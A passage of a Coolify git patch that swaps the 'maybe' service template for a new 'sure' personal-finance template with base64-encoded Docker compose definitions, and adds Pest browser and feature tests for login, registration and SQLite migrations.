fb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby9tYXliZS1maW5hbmNlL21heWJlOmxhdGVzdCcKICAgIGNvbW1hbmQ6ICdidW5kbGUgZXhlYyBzaWRla2lxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFQ1JFVEtFWUJBU0V9JwogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbWF5YmVfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tYXBwZW5kb25seSB5ZXMgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfZGF0YTovZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtIFJFRElTX0RCPTEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiAzCg==", - "tags": [ - "finances", - "wallets", - "coins", - "stocks", - "investments", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/maybe.svg", - "minversion": "0.0.0", - "port": "3000" - }, "mealie": { "documentation": "https://docs.mealie.io/?utm_source=coolify.io", "slogan": "A recipe manager and meal planner.", @@ -4548,6 +4530,22 @@ "minversion": "0.0.0", "port": "3567" }, + "sure": { + "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io", + "slogan": "An all-in-one personal finance platform.", + "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUkVfMzAwMAogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby93ZS1wcm9taXNlL3N1cmU6MC42LjcnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VyZS1hcHAtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3ZhbGtleS1zZXJ2ZXIgLS1hcHBlbmRvbmx5IHllcycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtdmFsa2V5Oi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd2YWxrZXktY2xpIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgICAgIHN0YXJ0X3BlcmlvZDogM3MK", + "tags": [ + "budgeting", + "budget", + "money", + "expenses", + "income" + ], + "category": "finance", + "logo": "svgs/sure.png", + "minversion": "0.0.0", + "port": "3000" + }, "swetrix": { "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", diff --git a/templates/service-templates.json b/templates/service-templates.json index 545d9c62e..bcecf06c5 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -2681,24 +2681,6 @@ "minversion": "0.0.0", "port": "8065" }, - "maybe": { - "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io", - "slogan": "Maybe, the OS for your personal finances.", - "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NQVlCRQogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VSVklDRV9CQVNFNjRfNjRfU0VDUkVUS0VZQkFTRX0nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjMwMDAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbWF5YmUtZGJ9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBTRUxGX0hPU1RFRD10cnVlCiAgICAgIC0gJ1JBSUxTX0ZPUkNFX1NTTD0ke1JBSUxTX0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdSQUlMU19BU1NVTUVfU1NMPSR7UkFJTFNfQVNTVU1FX1NTTDotZmFsc2V9JwogICAgICAtICdHT09EX0pPQl9FWEVDVVRJT05fTU9ERT0ke0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFOi1hc3luY30nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21heWJlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2RhdGE6L2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSBSRURJU19EQj0xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogMwo=", - "tags": [ - "finances", - "wallets", - "coins", - "stocks", - "investments", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/maybe.svg", - "minversion": "0.0.0", - "port": "3000" - }, "mealie": { "documentation": "https://docs.mealie.io/?utm_source=coolify.io", "slogan": "A recipe manager and meal planner.", @@ -4548,6 +4530,22 @@ "minversion": "0.0.0", "port": "3567" }, + "sure": { + "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io", + "slogan": "An all-in-one personal finance platform.", + "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVJFXzMwMDAKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLWFwcC1zdG9yYWdlOi9yYWlscy9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vd2UtcHJvbWlzZS9zdXJlOjAuNi43JwogICAgY29tbWFuZDogJ2J1bmRsZSBleGVjIHNpZGVraXEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHZhbGtleToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTUUxfREFUQUJBU0U6LXN1cmV9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHZhbGtleToKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo4LWFscGluZScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXZhbGtleTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAndmFsa2V5LWNsaSBwaW5nIHwgZ3JlcCBQT05HJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogICAgICBzdGFydF9wZXJpb2Q6IDNzCg==", + "tags": [ + "budgeting", + "budget", + "money", + "expenses", + "income" + ], + "category": "finance", + "logo": "svgs/sure.png", + "minversion": "0.0.0", + "port": "3000" + }, "swetrix": { "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", diff --git a/tests/Pest.php b/tests/Pest.php index 619dea153..cec77b86f 100644 --- a/tests/Pest.php +++ b/tests/Pest.php @@ -13,7 +13,7 @@ | need to change it using the "uses()" function to bind a different classes or traits. | */ -uses(Tests\TestCase::class)->in('Feature'); +uses(Tests\TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser'); /* |-------------------------------------------------------------------------- diff --git a/tests/v4/Browser/LoginTest.php b/tests/v4/Browser/LoginTest.php new file mode 100644 index 000000000..d5eb5034d --- /dev/null +++ b/tests/v4/Browser/LoginTest.php @@ -0,0 +1,46 @@ + 0]); +}); + +it('shows registration page when no users exist', function () { + $page = visit('/login'); + + $page->assertSee('Root User Setup') + ->assertSee('Create Account'); +}); + +it('can login with valid credentials', function () { + User::factory()->create([ + 'id' => 0, + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); + + $page = visit('/login'); + + $page->assertSee('Login'); +}); + +it('fails login with invalid credentials', function () { + User::factory()->create([ + 'id' => 0, + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); + + $page = visit('/login'); + + $page->fill('email', 'random@email.com') + ->fill('password', 'wrongpassword123') + ->click('Login') + ->assertSee('These credentials do not match our records'); +}); diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php new file mode 100644 index 000000000..ab1149e60 --- /dev/null +++ b/tests/v4/Browser/RegistrationTest.php @@ -0,0 +1,62 @@ + 0]); +}); + +it('shows registration page when no users exist', function () { + $page = visit('/register'); + + $page->assertSee('Root User Setup') + ->assertSee('Create Account'); +}); + +it('can register a new root user', function () { + $page = visit('/register'); + + $page->fill('name', 'Test User') + ->fill('email', 'root@example.com') + ->fill('password', 'Password1!@') + ->fill('password_confirmation', 'Password1!@') + ->click('Create Account') + ->assertPathIs('/onboarding'); + + expect(User::where('email', 'root@example.com')->exists())->toBeTrue(); +}); + +it('fails registration with mismatched passwords', function () { + $page = visit('/register'); + + $page->fill('name', 'Test User') + ->fill('email', 'root@example.com') + ->fill('password', 'Password1!@') + ->fill('password_confirmation', 'DifferentPass1!@') + ->click('Create Account') + ->assertSee('password'); +}); + +it('fails registration with weak password', function () { + $page = visit('/register'); + + $page->fill('name', 'Test User') + ->fill('email', 'root@example.com') + ->fill('password', 'short') + ->fill('password_confirmation', 'short') + ->click('Create Account') + ->assertSee('password'); +}); + +it('shows login link when a user already exists', function () { + User::factory()->create(['id' => 0]); + + $page = visit('/register'); + + $page->assertSee('Already registered?') + ->assertDontSee('Root User Setup'); +}); diff --git a/tests/v4/Feature/SqliteDatabaseTest.php b/tests/v4/Feature/SqliteDatabaseTest.php new file mode 100644 index 000000000..d2df5c0a6 --- /dev/null +++ b/tests/v4/Feature/SqliteDatabaseTest.php @@ -0,0 +1,18 @@ +getDriverName())->toBe('sqlite'); +}); + +it('runs migrations successfully', function () { + expect(Schema::hasTable('users'))->toBeTrue(); + expect(Schema::hasTable('teams'))->toBeTrue(); + expect(Schema::hasTable('servers'))->toBeTrue(); + expect(Schema::hasTable('applications'))->toBeTrue(); +}); From 6dea1ab0f3e706a065adc5a8d6557766abb52a4f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Feb 2026 16:37:40 +0100 Subject: [PATCH 029/305] test: add dashboard test and improve browser test coverage - Add DashboardTest with tests for project/server visibility - Add 